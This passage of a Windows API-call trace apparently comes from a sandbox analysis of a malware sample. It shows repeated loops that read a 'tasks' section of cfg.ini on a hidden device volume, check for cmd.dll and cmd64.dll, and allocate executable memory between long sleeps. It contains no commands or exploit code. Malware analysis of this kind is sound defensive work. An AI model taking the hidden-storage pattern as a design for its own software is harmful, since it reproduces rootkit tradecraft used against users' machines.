FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.743] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.743] IdePortDispatch () returned 0x103 [0129.743] KeWaitForMutexObject () returned 0x0 [0129.743] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.743] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.743] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.743] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.743] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.743] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c065e0 [0129.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.743] KeLeaveCriticalRegion () [0129.743] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.743] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.743] KeEnterCriticalRegion () [0129.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.743] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.743] KeLeaveCriticalRegion () [0129.743] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.743] KeEnterCriticalRegion () [0129.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.744] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.744] IdePortDispatch () returned 0x103 [0129.744] KeWaitForMutexObject () returned 0x0 [0129.744] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.744] KeLeaveCriticalRegion () [0129.744] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.744] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.744] KeEnterCriticalRegion () [0129.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.744] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c85000 [0129.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.744] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.744] IdePortDispatch () returned 0x103 [0129.744] KeWaitForMutexObject () returned 0x0 [0129.744] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.744] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.744] IdePortDispatch () returned 0x103 [0129.745] KeWaitForMutexObject () returned 0x0 [0129.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.745] KeLeaveCriticalRegion () [0129.745] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.745] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.745] KeEnterCriticalRegion () [0129.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.745] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.745] KeLeaveCriticalRegion () [0129.745] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.745] KeEnterCriticalRegion () [0129.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.745] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.745] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.745] KeLeaveCriticalRegion () [0129.746] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.746] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.746] KeEnterCriticalRegion () [0129.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.746] ExFreePoolWithTag (P=0xfffffa8003c065e0, Tag=0x0) [0129.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.746] KeLeaveCriticalRegion () [0129.746] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.746] ReleaseMutex (hMutex=0xf0) returned 1 [0129.746] Sleep (dwMilliseconds=0x927c0) [0129.747] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.747] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.753] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.753] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.753] KeEnterCriticalRegion () [0129.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.754] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.754] IdePortDispatch () returned 0x103 [0129.754] KeWaitForMutexObject () returned 0x0 [0129.754] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.754] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.754] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.754] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.754] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.754] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05270 [0129.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.754] KeLeaveCriticalRegion () [0129.754] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.754] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.754] KeEnterCriticalRegion () [0129.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.754] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.754] KeLeaveCriticalRegion () [0129.754] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.754] KeEnterCriticalRegion () [0129.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.754] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.754] IdePortDispatch () returned 0x103 [0129.754] KeWaitForMutexObject () returned 0x0 [0129.755] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.755] KeLeaveCriticalRegion () [0129.755] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.755] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.755] KeEnterCriticalRegion () [0129.755] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.755] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca4000 [0129.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.755] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.755] IdePortDispatch () returned 0x103 [0129.755] KeWaitForMutexObject () returned 0x0 [0129.755] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.755] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.755] IdePortDispatch () returned 0x103 [0129.755] KeWaitForMutexObject () returned 0x0 [0129.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.755] KeLeaveCriticalRegion () [0129.755] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.756] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.756] KeEnterCriticalRegion () [0129.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.756] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.756] KeLeaveCriticalRegion () [0129.756] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.756] KeEnterCriticalRegion () [0129.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.756] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.756] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.756] KeLeaveCriticalRegion () [0129.756] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.756] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.756] KeEnterCriticalRegion () [0129.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.756] ExFreePoolWithTag (P=0xfffffa8003c05270, Tag=0x0) [0129.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.756] KeLeaveCriticalRegion () [0129.756] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.756] ReleaseMutex (hMutex=0xf0) returned 1 [0129.757] Sleep (dwMilliseconds=0x927c0) [0129.770] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.770] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.770] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.770] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.770] KeEnterCriticalRegion () [0129.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.770] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.770] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.770] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.770] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.770] IdePortDispatch () returned 0x103 [0129.770] KeWaitForMutexObject () returned 0x0 [0129.770] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.770] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.770] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.770] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.770] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.770] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06430 [0129.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.770] KeLeaveCriticalRegion () [0129.770] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.770] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.770] KeEnterCriticalRegion () [0129.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.770] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.770] KeLeaveCriticalRegion () [0129.771] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.771] KeEnterCriticalRegion () [0129.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.771] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.771] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.771] IdePortDispatch () returned 0x103 [0129.771] KeWaitForMutexObject () returned 0x0 [0129.771] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.771] KeLeaveCriticalRegion () [0129.771] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.771] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.771] KeEnterCriticalRegion () [0129.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.771] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca8000 [0129.771] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.771] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.771] IdePortDispatch () returned 0x103 [0129.771] KeWaitForMutexObject () returned 0x0 [0129.771] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.771] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.772] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.772] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.772] IdePortDispatch () returned 0x103 [0129.772] KeWaitForMutexObject () returned 0x0 [0129.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.772] KeLeaveCriticalRegion () [0129.772] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.772] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.772] KeEnterCriticalRegion () [0129.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.772] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.772] KeLeaveCriticalRegion () [0129.772] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.772] KeEnterCriticalRegion () [0129.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.773] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.773] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07be0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.773] KeLeaveCriticalRegion () [0129.773] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.773] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.773] KeEnterCriticalRegion () [0129.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.773] ExFreePoolWithTag (P=0xfffffa8003c06430, Tag=0x0) [0129.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.773] KeLeaveCriticalRegion () [0129.773] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.773] ReleaseMutex (hMutex=0xf0) returned 1 [0129.773] Sleep (dwMilliseconds=0x927c0) [0129.789] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.789] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.789] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.789] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.789] KeEnterCriticalRegion () [0129.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.789] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.789] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.789] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.789] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.789] IdePortDispatch () returned 0x103 [0129.789] KeWaitForMutexObject () returned 0x0 [0129.789] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.789] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.789] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.789] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.789] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.789] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c077d0 [0129.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.789] KeLeaveCriticalRegion () [0129.789] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.789] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.789] KeEnterCriticalRegion () [0129.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.789] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.789] KeLeaveCriticalRegion () [0129.789] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.790] KeEnterCriticalRegion () [0129.790] 